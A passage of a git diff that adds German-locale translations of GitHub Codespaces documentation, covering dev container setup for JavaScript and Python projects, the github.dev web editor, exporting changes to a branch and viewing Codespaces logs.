+In the previous section, you used the `postCreateCommand` to installing a set of packages via npm. You can now use this to run our application with npm.
+
+1. Run your start command in the terminal with`npm start`.
+
+   ![npm start in terminal](/assets/images/help/codespaces/codespaces-npmstart.png)
+
+2. When your project starts, you should see a "toast" notification message at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, containing a prompt to connect to the port your project uses.
+
+   ![Port forwarding "toast" notification](/assets/images/help/codespaces/codespaces-port-toast.png)
+
+## Step 5: Commit your changes
+
+{% data reusables.codespaces.committing-link-to-procedure %}
+
+## Next steps
+
+You should now be ready start developing your JavaScript project in {% data variables.product.prodname_github_codespaces %}. Here are some additional resources for more advanced scenarios.
+
+{% data reusables.codespaces.next-steps-adding-devcontainer %}
diff --git a/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
new file mode 100644
index 0000000000..4aefc61da2
--- /dev/null
+++ b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
@@ -0,0 +1,24 @@
+---
+title: Hinzufügen eines Entwicklungscontainers zu deinem Repository
+shortTitle: Add a dev container to your repository
+allowTitleToDifferFromFilename: true
+intro: 'Beginne mit deinem Node.js-, Python-, .NET- or Java-Projekt in {% data variables.product.prodname_codespaces %}, indem du einen benutzerdefinierten Entwicklungscontainer erstellst.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Codespaces
+  - Developer
+  - Node
+  - JavaScript
+hasExperimentalAlternative: true
+interactive: true
+ms.openlocfilehash: 9cc2e1c13950c8ecdcaf923f949a1ac42772460a
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159693'
+---
+<!-- This article is specially rendered via the pages/ directory -->
diff --git a/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
new file mode 100644
index 0000000000..6b6e352488
--- /dev/null
+++ b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
@@ -0,0 +1,204 @@
+---
+title: Setting up your Python project for GitHub Codespaces
+allowTitleToDifferFromFilename: true
+shortTitle: Setting up your Python project
+intro: 'Get started with your Python project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container.'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /codespaces/getting-started-with-codespaces/getting-started-with-your-python-project-in-codespaces
+type: tutorial
+topics:
+  - Codespaces
+  - Developer
+  - Python
+hasExperimentalAlternative: true
+hidden: true
+---
+
+## Introduction
+
+This guide shows you how to set up your Python project {% data reusables.codespaces.setting-up-project-intro %}
+
+### Prerequisites
+
+- You should have an existing Python project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/python-quickstart.
+- You must have {% data variables.product.prodname_github_codespaces %} enabled for your organization.
+
+## Step 1: Open your project in a codespace
+
+1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** dropdown menu, and in the **Codespaces** tab, click the plus sign ({% octicon "plus" aria-label="The plus icon" %}).
+
+  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+
+When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+
+{% data reusables.codespaces.customize-vcpus-and-ram %}
+
+## Step 2: Add a dev container configuration to your repository from a template
+
+The default development container, or "dev container," for {% data variables.product.prodname_github_codespaces %} comes with the latest Python version, package managers (pip, Miniconda), and other common tools preinstalled. However, we recommend that you configure your own dev container to include all of the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_github_codespaces %} users in your repository.
+
+{% data reusables.codespaces.setup-custom-devcontainer %}
+
+{% data reusables.codespaces.command-palette-container %}
+1. For this example, click **Python 3**. If you need additional features you can select any container that’s specific to Python or a combination of tools such as Python 3 and PostgreSQL.
+  ![Select Python option from the list](/assets/images/help/codespaces/add-python-prebuilt-container.png)
+1. Click the recommended version of Python.
+  ![Python version selection](/assets/images/help/codespaces/add-python-version.png)
+1. Accept the default option to add Node.js to your customization.
+  ![Add Node.js selection](/assets/images/help/codespaces/add-nodejs-selection.png)
+{% data reusables.codespaces.rebuild-command %}
+
+### Anatomy of your dev container
+
+Adding the Python dev container template adds a `.devcontainer` directory to the root of your project's repository with the following files:
+
+- `devcontainer.json`
+- Dockerfile
+
+The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+
+#### devcontainer.json
+
+```json
+{
+	"name": "Python 3",
+	"build": {
+		"dockerfile": "Dockerfile",
+		"context": "..",
+		"args": {
+			// Update 'VARIANT' to pick a Python version: 3, 3.6, 3.7, 3.8, 3.9
+			"VARIANT": "3",
+			// Options
+			"INSTALL_NODE": "true",
+			"NODE_VERSION": "lts/*"
+		}
+	},
+
+	// Set *default* container specific settings.json values on container create.
+	"settings": {
+		"terminal.integrated.shell.linux": "/bin/bash",
+		"python.pythonPath": "/usr/local/bin/python",
+		"python.linting.enabled": true,
+		"python.linting.pylintEnabled": true,
+		"python.formatting.autopep8Path": "/usr/local/py-utils/bin/autopep8",
+		"python.formatting.blackPath": "/usr/local/py-utils/bin/black",
+		"python.formatting.yapfPath": "/usr/local/py-utils/bin/yapf",
+		"python.linting.banditPath": "/usr/local/py-utils/bin/bandit",
+		"python.linting.flake8Path": "/usr/local/py-utils/bin/flake8",
+		"python.linting.mypyPath": "/usr/local/py-utils/bin/mypy",
+		"python.linting.pycodestylePath": "/usr/local/py-utils/bin/pycodestyle",
+		"python.linting.pydocstylePath": "/usr/local/py-utils/bin/pydocstyle",
+		"python.linting.pylintPath": "/usr/local/py-utils/bin/pylint"
+	},
+
+	// Add the IDs of extensions you want installed when the container is created.
+	"extensions": [
+		"ms-python.python"
+	],
+
+	// Use 'forwardPorts' to make a list of ports inside the container available locally.
+	// "forwardPorts": [],
+
+	// Use 'postCreateCommand' to run commands after the container is created.
+	// "postCreateCommand": "pip3 install --user -r requirements.txt",
+
+	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
+	"remoteUser": "vscode"
+}
+```
+
+- **name** - You can name our dev container anything, this is just the default.
+- **build** - The build properties.
+  - **dockerfile** - In the `build` object, `dockerfile` contains the path to the Dockerfile that was also added from the template.
+  - **args**
+    - **variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile.
+- **settings** - These are {% data variables.product.prodname_vscode %} settings.
+  - **terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
+- **extensions** - These are extensions included by default.
+  - **ms-python.python** - The Microsoft Python extension provides rich support for the Python language (for all actively supported versions of the language: >=3.6), including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more.
+- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - Use this to run commands that aren't defined in the Dockerfile, like `pip3 install -r requirements`, after your codespace is created.
+- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`.
+
+#### Dockerfile
+
+```bash
+# [Choice] Python version: 3, 3.9, 3.8, 3.7, 3.6
+ARG VARIANT="3"
+FROM mcr.microsoft.com/vscode/devcontainers/python:0-${VARIANT}
+
+# [Option] Install Node.js
+ARG INSTALL_NODE="true"
+ARG NODE_VERSION="lts/*"
+RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi
+
+# [Optional] If your pip requirements rarely change, uncomment this section to add them to the image.
+# COPY requirements.txt /tmp/pip-tmp/
+# RUN pip3 --disable-pip-version-check --no-cache-dir install -r /tmp/pip-tmp/requirements.txt \
+#    && rm -rf /tmp/pip-tmp
+
+# [Optional] Uncomment this section to install additional OS packages.
+# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
+#     && apt-get -y install --no-install-recommends <your-package-list-here>
+
+# [Optional] Uncomment this line to install global node packages.
+# RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
+```
+
+You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container.
+
+## Step 3: Modify your devcontainer.json file
+
+With your dev container configuration added and a basic understanding of what everything does, you can now make changes to customize your environment further. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches.
+
+1. In the Explorer, expand the `.devcontainer` folder and select the `devcontainer.json` file from the tree to open it.
+
+  ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
+
+2. Update the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project.
+
+  ```json{:copy}
+  "extensions": [
+		  "ms-python.python",
+		  "cstrap.flask-snippets",
+		  "streetsidesoftware.code-spell-checker"
+	  ],
+  ```
+
+3. Uncomment the `postCreateCommand` to auto-install requirements as part of the codespaces setup process.
+
+  ```json{:copy}
+  // Use 'postCreateCommand' to run commands after the container is created.
+  "postCreateCommand": "pip3 install --user -r requirements.txt",
+  ```
+
+{% data reusables.codespaces.rebuild-command %}
+
+   {% data reusables.codespaces.rebuild-reason %}
+
+5. Check your changes were successfully applied by verifying the Code Spell Checker and Flask Snippet extensions were installed.
+
+   ![Extensions list](/assets/images/help/codespaces/python-extensions.png)
+
+## Step 4: Run your application
+
+In the previous section, you used the `postCreateCommand` to install a set of packages via pip3. With your dependencies now installed, you can run your application.
+
+1. Run your application by pressing `F5` or entering `python -m flask run` in the codespace terminal.
+
+2. When your project starts, you should see a "toast" notification message at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, containing a prompt to connect to the port your project uses.
+
+  ![Port forwarding "toast" notification](/assets/images/help/codespaces/python-port-forwarding.png)
+
+## Step 5: Commit your changes
+
+{% data reusables.codespaces.committing-link-to-procedure %}
+
+## Next steps
+
+You should now be ready start developing your Python project in {% data variables.product.prodname_github_codespaces %}. Here are some additional resources for more advanced scenarios.
+
+{% data reusables.codespaces.next-steps-adding-devcontainer %}
diff --git a/translations/de-DE/content/codespaces/the-githubdev-web-based-editor.md b/translations/de-DE/content/codespaces/the-githubdev-web-based-editor.md
new file mode 100644
index 0000000000..9b4d3a7256
--- /dev/null
+++ b/translations/de-DE/content/codespaces/the-githubdev-web-based-editor.md
@@ -0,0 +1,119 @@
+---
+title: Der webbasierte github.dev-Editor
+intro: 'Verwende den {% data variables.product.prodname_serverless %} „github.dev“ aus deinem Repository oder Pull Request, um Änderungen vorzunehmen und zu committen.'
+versions:
+  feature: githubdev-editor
+type: how_to
+miniTocMaxHeadingLevel: 3
+topics:
+  - Codespaces
+  - Visual Studio Code
+  - Developer
+shortTitle: Web-based editor
+redirect_from:
+  - /codespaces/developing-in-codespaces/web-based-editor
+ms.openlocfilehash: d1c21f3e75ecc4fec282c9156943c137287d203c
+ms.sourcegitcommit: caab4edbbeedf23e9062e48a67c35224772b6efa
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160477'
+---
+{% note %}
+
+**Hinweis:** Der github.dev-{% data variables.product.prodname_serverless %} befindet sich derzeit in der Betavorschau. Du kannst [in unseren Diskussionen](https://github.com/community/community/discussions/categories/general) Feedback bereitstellen.
+
+{% endnote %}
+
+## Informationen zum {% data variables.product.prodname_serverless %}
+
+Der {% data variables.product.prodname_serverless %} stellt eine schlanke Bearbeitungsumgebung zur Verfügung, die vollständig in deinem Browser ausgeführt wird. Mit dem {% data variables.product.prodname_serverless %} kannst du in Dateien und Quellcoderepositorys von {% data variables.product.prodname_dotcom %} navigieren und Codeänderungen vornehmen und committen. Du kannst ein beliebiges Repository, eine Fork oder einen Pull Request im Editor öffnen.
+
+Der {% data variables.product.prodname_serverless %} ist auf {% data variables.product.prodname_dotcom_the_website %} kostenlos verfügbar.
+
+Der {% data variables.product.prodname_serverless %} bietet viele Vorteile von {% data variables.product.prodname_vscode %}, z. B. Suchen, Syntaxhervorhebung und eine Quellcodeverwaltungsansicht. Du kannst auch Einstellungssynchronisierung verwenden, um deine eigenen {% data variables.product.prodname_vscode_shortname %}-Einstellungen im Editor zu übernehmen. Weitere Informationen findest du unter [Einstellungssynchronisierung](https://code.visualstudio.com/docs/editor/settings-sync) in der Dokumentation zu {% data variables.product.prodname_vscode_shortname %}.
+
+Der {% data variables.product.prodname_serverless %} wird vollständig in der Sandbox deines Browsers ausgeführt. Der Editor klont das Repository nicht, sondern verwendet stattdessen die [Erweiterung „GitHub-Repositorys“](https://code.visualstudio.com/docs/editor/github#_github-repositories-extension), um die meisten Funktionen auszuführen, die du verwendest. Deine Arbeit wird im lokalen Speicher des Browsers gespeichert, bis du sie committest. Du solltest deine Änderungen regelmäßig committen, um sicherzustellen, dass sie immer zugänglich sind.
+
+Du musst angemeldet sein, um den webbasierten Editor nutzen zu können.
+
+## Öffnen des {% data variables.product.prodname_serverless %}
+
+Du kannst ein beliebiges {% data variables.product.prodname_dotcom %}-Repository im {% data variables.product.prodname_serverless %} auf eine der folgenden Arten öffnen:
+
+- Um das Repository auf derselben Browserregisterkarte zu öffnen, drückst du auf <kbd>.</kbd>, während du ein Repository oder einen Pull Request auf {% data variables.product.prodname_dotcom %} durchsuchst.
+ 
+  Um das Repository auf einer neuen Browserregisterkarte zu öffnen, drückst du auf <kbd>></kbd>.
+
+- Ändere die URL von „github.com“ in „github.dev“.
+- Verwende beim Anzeigen einer Datei das Dropdownmenü neben {% octicon "pencil" aria-label="The edit icon" %}, und klicke auf **In github.dev öffnen**.
+
+  ![Schaltfläche „Datei bearbeiten“ im Dropdownmenü](/assets/images/help/repository/edit-file-edit-dropdown.png)
+
+## {% data variables.product.prodname_codespaces %} und der {% data variables.product.prodname_serverless %}
+
+Sowohl der {% data variables.product.prodname_serverless %} als auch {% data variables.product.prodname_github_codespaces %} ermöglichen es dir, deinen Code direkt über dein Repository zu bearbeiten. Beide Optionen haben jedoch leicht unterschiedliche Vorteile, je nach Anwendungsfall.
+
+|| {% data variables.product.prodname_serverless %} | {% data variables.product.prodname_github_codespaces %}|
+|-|----------------|---------|
+| **Kosten** | Frei.      | Kostenloses monatliches Nutzungskontingent für persönliche Konten. Informationen zur Preisgestaltung findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#github-codespaces-pricing).|
+| **Verfügbarkeit** | Verfügbar für alle Benutzer auf GitHub.com. | Verfügbar für alle Benutzer auf GitHub.com. |
+| **Start** | Der {% data variables.product.prodname_serverless %} wird sofort mit einem Tastendruck geöffnet, und du kannst sofort mit der Verwendung beginnen, ohne auf zusätzliche Konfiguration oder die Installation warten zu müssen. | Wenn du einen Codespace erstellst oder fortsetzt, wird dem Codespace eine VM zugewiesen, und der Container wird basierend auf dem Inhalt einer Datei `devcontainer.json` konfiguriert. Diese Einrichtung kann einige Minuten dauern, bis die Umgebung erstellt wurde. Weitere Informationen findest du unter [Erstellen eines Codespaces für ein Repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository). |
+| **Compute**  | Es gibt keine zugeordnete Computemöglichkeit, sodass du deinen Code nicht erstellen und ausführen oder das integrierte Terminal verwenden kannst. | Mit {%  data variables.product.prodname_github_codespaces %} erhältst du die Leistungsfähigkeit einer dedizierten VM, auf der du deine Anwendung ausführen und debuggen kannst.|
+| **Terminalzugriff** | Keine. | {% data variables.product.prodname_github_codespaces %} stellt standardmäßig ein Set mit gängigen Tools bereit, sodass du das Terminal genau wie in deiner lokalen Umgebung nutzen kannst.|
+| **Erweiterungen**  | Nur eine Teilmenge von Erweiterungen, die im Web ausgeführt werden können, werden in der Erweiterungsansicht angezeigt und können installiert werden. Weitere Informationen findest du unter [Verwenden von Erweiterungen](#using-extensions).| Mit {% data variables.product.prodname_github_codespaces %} kannst du die meisten Erweiterungen aus dem {% data variables.product.prodname_vscode_marketplace %} nutzen.|
+
+### Fortsetzen der Arbeit in {% data variables.product.prodname_codespaces %}
+
+Du kannst deinen Workflow im {% data variables.product.prodname_serverless %} starten und in einem Codespace fortsetzen. Wenn du versuchst, auf die Ausführungs- und Debugansicht oder das Terminal zuzugreifen, wirst du benachrichtigt, dass sie im {% data variables.product.prodname_serverless %} nicht verfügbar sind.
+
+Wenn du deine Arbeit in einem Codespace fortsetzen möchtest, klicke auf **Arbeit fortsetzen in...** , und wähle dann **Neuen Codespace erstellen** aus, um einen Codespace in deinem aktuellen Branch zu erstellen. Bevor du diese Option auswählst, musst du alle Änderungen committen.
+
+![Screenshot der Schaltfläche „Arbeit fortsetzen in“ auf der Benutzeroberfläche](/assets/images/help/codespaces/codespaces-continue-working.png)
+
+## Verwenden von Quellcodeverwaltung
+
+Wenn du den {% data variables.product.prodname_serverless %} verwendest, werden alle Aktionen über die Quellcodeverwaltungsansicht verwaltet, die sich auf der linken Seite in der Aktivitätsleiste befindet. Weitere Informationen zur Quellcodeverwaltungsansicht findest du in der {% data variables.product.prodname_vscode_shortname %}-Dokumentation unter [Versionskontrolle](https://code.visualstudio.com/docs/editor/versioncontrol).
+
+Da der webbasierte Editor die Erweiterung „GitHub-Repositorys“ für seine Funktionalität verwendet, kannst du Branches wechseln, ohne einen Stash für Änderungen auszuführen. Weitere Informationen findest du unter [GitHub-Repositorys](https://code.visualstudio.com/docs/editor/github#_github-repositories-extension) in der Dokumentation zu {% data variables.product.prodname_vscode_shortname %}.
+
+### Neuen Branch erstellen
+
+{% data reusables.codespaces.create-or-switch-branch %} Alle nicht committeten Änderungen, die du in deinem alten Branch vorgenommen hast, sind in deinem neuen Branch verfügbar.
+
+### Committen Ihrer Änderungen
+
+{% data reusables.codespaces.source-control-commit-changes %} 
+5. Nachdem du deine Änderungen committet hast, werden sie automatisch in deinen Branch auf {% data variables.product.prodname_dotcom %} gepusht.
+### Erstellen eines Pull Requests
+
+{% data reusables.codespaces.source-control-pull-request %}
+
+### Arbeiten mit einem vorhandenen Pull Request
+
+Du kannst den {% data variables.product.prodname_serverless %} verwenden, um mit einem vorhandenen Pull Request zu arbeiten.
+
+1. Navigiere zum Pull Request, den du im {% data variables.product.prodname_serverless %} öffnen möchtest.
+2. Drücke `.`, um den Pull Request im {% data variables.product.prodname_serverless %} zu öffnen.
+3. Nachdem du Änderungen vorgenommen hast, committe sie mit den Schritten unter [Committen deiner Änderungen](#commit-your-changes). Deine Änderungen werden direkt in den Branch committet, es ist nicht erforderlich, die Änderungen zu pushen.
+
+## Verwenden von Erweiterungen
+
+Der {% data variables.product.prodname_serverless %} unterstützt {% data variables.product.prodname_vscode_shortname %}-Erweiterungen, die speziell erstellt oder aktualisiert wurden, um im Web ausgeführt werden zu können. Diese Erweiterungen werden als „Weberweiterungen“ bezeichnet. Informationen dazu, wie du eine Weberweiterung erstellen oder deine vorhandene Erweiterung für das Web aktualisieren kannst, findest du unter [Weberweiterungen](https://code.visualstudio.com/api/extension-guides/web-extensions) in der Dokumentation zu {% data variables.product.prodname_vscode_shortname %}.
+
+Erweiterungen, die im {% data variables.product.prodname_serverless %} ausgeführt werden können, werden in der Erweiterungsansicht angezeigt und können installiert werden. Wenn du Einstellungssynchronisierung verwendest, werden auch kompatible Erweiterungen automatisch installiert. Weitere Informationen findest du unter [Einstellungssynchronisierung](https://code.visualstudio.com/docs/editor/settings-sync) in der Dokumentation zu {% data variables.product.prodname_vscode_shortname %}.
+
+
+## Problembehandlung
+
+Wenn du Probleme beim Öffnen des {% data variables.product.prodname_serverless %} hast, versuche Folgendes:
+
+- Stelle sicher, dass du bei {% data variables.product.prodname_dotcom %} angemeldet bist.
+- Deaktiviere alle Werbeblocker.
+- Verwende ein Nicht-Inkognito-Fenster in deinem Browser, um den {% data variables.product.prodname_serverless %} zu öffnen.
+
+### Bekannte Einschränkungen
+
+- Der {% data variables.product.prodname_serverless %} wird derzeit in Chrome (und verschiedenen anderen Chromium-basierten Browsern), Edge, Firefox und Safari unterstützt. Es wird empfohlen, die neueste Version dieser Browser zu verwenden.
+- Einige Tastenzuordnungen funktionieren möglicherweise nicht, je nachdem, welchen Browser du verwendest. Diese Tastenzuordnungseinschränkungen werden im Abschnitt [Bekannte Einschränkungen und Anpassungen](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations) der Dokumentation zu {% data variables.product.prodname_vscode_shortname %} dokumentiert.
+- `.` funktioniert möglicherweise nicht, um den {% data variables.product.prodname_serverless %} gemäß deinem lokalen Tastaturlayout zu öffnen. In diesem Fall kannst du ein beliebiges {% data variables.product.prodname_dotcom %}-Repository im {% data variables.product.prodname_serverless %} öffnen, indem du die URL aus `github.com` in `github.dev` änderst.
diff --git a/translations/de-DE/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md b/translations/de-DE/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md
new file mode 100644
index 0000000000..d8f3a8ecd5
--- /dev/null
+++ b/translations/de-DE/content/codespaces/troubleshooting/exporting-changes-to-a-branch.md
@@ -0,0 +1,27 @@
+---
+title: Exporting changes to a branch
+intro: This article provides steps for exporting your codespace changes to a branch.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Codespaces
+shortTitle: Exporting changes
+---
+
+## Exporting changes to a branch
+
+While using {% data variables.product.prodname_github_codespaces %}, you may want to export your changes to a branch without launching your codespace. This can be useful when you have hit a [spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces) or have a general issue accessing your codespace.
+
+If your codespace is unpublished (created from a template and not associated with a repository on {% data variables.product.product_name %}), then you won't be able to export changes to a branch, but you can publish the codespace to a new repository without launching the codespace. For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template#publishing-from-githubcom)."
+
+To export your changes to a branch:
+
+{% data reusables.codespaces.your-codespaces-procedure-step %} Or, for an individual repository, click the **{% octicon "code" aria-label="The code icon" %} Code** menu.
+1. Click the ellipsis (**...**) to the right of the codespace you want to export from.
+2. Select **{% octicon "git-branch" aria-label="The git branch icon" %} Export changes to branch**.
+
+  ![Export changes to a branch](/assets/images/help/codespaces/export-changes-to-a-branch.png)
+
+1. From the popover, select **Create branch**.
diff --git a/translations/de-DE/content/codespaces/troubleshooting/github-codespaces-logs.md b/translations/de-DE/content/codespaces/troubleshooting/github-codespaces-logs.md
new file mode 100644
index 0000000000..e5acb48518
--- /dev/null
+++ b/translations/de-DE/content/codespaces/troubleshooting/github-codespaces-logs.md
@@ -0,0 +1,172 @@
+---
+title: GitHub Codespaces logs
+intro: 'Overview of the logs used by {% data variables.product.prodname_github_codespaces %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Codespaces
+  - Logging
+shortTitle: Codespaces logs
+redirect_from:
+  - /codespaces/troubleshooting/codespaces-logs
+---
+
+{% jetbrains %}
+
+{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
+
+{% endjetbrains %}
+
+Information on {% data variables.product.prodname_github_codespaces %} is output to various logs:
+
+{% webui %}
+
+- Codespace logs
+- Creation logs
+- Browser console logs (for the {% data variables.product.prodname_vscode_shortname %} web client)
+
+Extension logs are available if you are using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode_shortname %}. Click the "{% data variables.product.prodname_vscode %}" tab above for details.
+
+{% endwebui %}
+
+{% vscode %}
+
+- Codespace logs
+- Creation logs
+- Extension logs (for the {% data variables.product.prodname_vscode_shortname %} desktop application) 
+
+Browser logs are available if you are using {% data variables.product.prodname_github_codespaces %} in your browser. Click the "Web browser" tab above for details.
+
+{% endvscode %}
+
+{% cli %}
+
+- Codespace logs
+- Creation logs
+
+Other logs are available if you are using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode_shortname %} or in your web browser. Click the tabs above for details.
+
+{% endcli %}
+
+{% jetbrains %}
+
+- Creation logs
+
+Other logs are available if you are using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode_shortname %} or in your web browser. Click the tabs above for details.
+
+{% endjetbrains %}
+
+{% webui %}
+
+{% data reusables.codespaces.codespace-logs %}
+
+1. If you are using {% data variables.product.prodname_github_codespaces %} in the browser, ensure that you are connected to the codespace you want to debug.
+1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} (<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux)) and type **Export logs**. Select **Codespaces: Export Logs** from the list to download the logs.
+1. Define where to save the zip archive of logs then click **Save** (desktop) or click **OK** (web).
+1. If you are using {% data variables.product.prodname_github_codespaces %} in the browser, right-click on the zip archive of logs from the Explorer view and select **Download…** to download them to your local machine.
+
+{% endwebui %}
+
+{% vscode %}
+
+{% data reusables.codespaces.codespace-logs %}
+
+1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} (<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux)) and type **Export logs**. Select **Codespaces: Export Logs** from the list to download the logs.
+1. Define where to save the zip archive of logs then click **Save** (desktop) or click **OK** (web).
+
+{% endvscode %}
+
+{% cli %}
+
+{% data reusables.codespaces.codespace-logs %}
+
+Currently you can't use {% data variables.product.prodname_cli %} to access these logs. To access them, open your codespace in {% data variables.product.prodname_vscode_shortname %} or in a browser.
+
+{% endcli %}
+
+## Creation logs
+
+These logs contain information about the container, dev container, and their configuration. They are useful for debugging configuration and setup problems.
+
+{% webui %}
+
+1. Connect to the codespace you want to debug.
+2. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} (<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux)) and type **Creation logs**. Select **Codespaces: View Creation Log** from the list to open the `creation.log` file.
+
+If you want to share the log with support, you can copy the text from the creation log into a text editor and save the file locally.
+
+{% endwebui %}
+
+{% vscode %}
+
+Open the {% data variables.product.prodname_vscode_command_palette_shortname %} (<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux)) and type **Creation logs**. Select **Codespaces: View Creation Log** from the list to open the `creation.log` file.
+
+If you want to share the log with support, you can copy the text from the creation log into a text editor and save the file locally.
+
+{% endvscode %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To see the creation log use the `gh codespace logs` subcommand. After entering the command choose from the list of codespaces that's displayed.
+
+```shell
+gh codespace logs
+```
+
+For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_logs).
+
+If you want to share the log with support, you can save the output to a file:
+
+```shell
+gh codespace logs -c <CODESPACE-NAME> > /path/to/logs.txt
+```
+
+{% endcli %}
+
+{% vscode %}
+
+## Extension logs
+
+These logs are available for {% data variables.product.prodname_vscode_shortname %} desktop users only. They are useful if it seems like the {% data variables.product.prodname_github_codespaces %} extension or {% data variables.product.prodname_vscode_shortname %} editor are having issues that prevent creation or connection.
+
+1. In {% data variables.product.prodname_vscode_shortname %}, open the Command Palette.
+1. Type **Logs** and select **Developer: Open Extension Logs Folder** from the list to open the extension log folder in your system's file explorer.
+
+From this view, you can access logs generated by the various extensions that you use in {% data variables.product.prodname_vscode_shortname %}. You will see logs for {% data variables.product.prodname_github_codespaces %}, {% data variables.product.prodname_dotcom %} Authentication, and Git, in addition to any other extensions you have enabled.
+
+{% endvscode %}
+
+{% webui %}
+
+## Browser console logs
+
+These logs are useful only if you want to debug problems with using {% data variables.product.prodname_github_codespaces %} in the browser. They are useful for debugging problems creating and connecting to {% data variables.product.prodname_github_codespaces %}.
+
+1. In the browser window for the codespace you want to debug, open the developer tools window.
+1. Display the "Console" tab and click **errors** in the left sidebar to show only the errors.
+1. In the log area on the right, right-click and select **Save as** to save a copy of the errors to your local machine.
+  ![Save errors](/assets/images/help/codespaces/browser-console-log-save.png)
+
+{% endwebui %}
+
+{% jetbrains %}
+
+{% data reusables.codespaces.jetbrains-open-codespace-plugin %}
+1. In the {% data variables.product.prodname_github_codespaces %} tool window, click the log icon.
+
+   ![Screenshot of the log button](/assets/images/help/codespaces/jetbrains-plugin-icon-log.png)
+
+## JetBrains logs
+
+You can download logs for the remote JetBrains IDE and the local client application by going to the **Help** menu in the JetBrains client application and clicking **Collect Host and Client Logs**.
+
+{% endjetbrains %}
+
+## Further reading
+
+- "[Reviewing your organization's audit logs for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces)"
+- "[Reviewing your security logs for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces)"
\ No newline at end of file
diff --git a/translations/de-DE/content/codespaces/troubleshooting/index.md b/translations/de-DE/content/codespaces/troubleshooting/index.md
new file mode 100644
index 0000000000..cabc8b2247
--- /dev/null
+++ b/translations/de-DE/content/codespaces/troubleshooting/index.md
@@ -0,0 +1,25 @@
+---
+title: Troubleshooting GitHub Codespaces
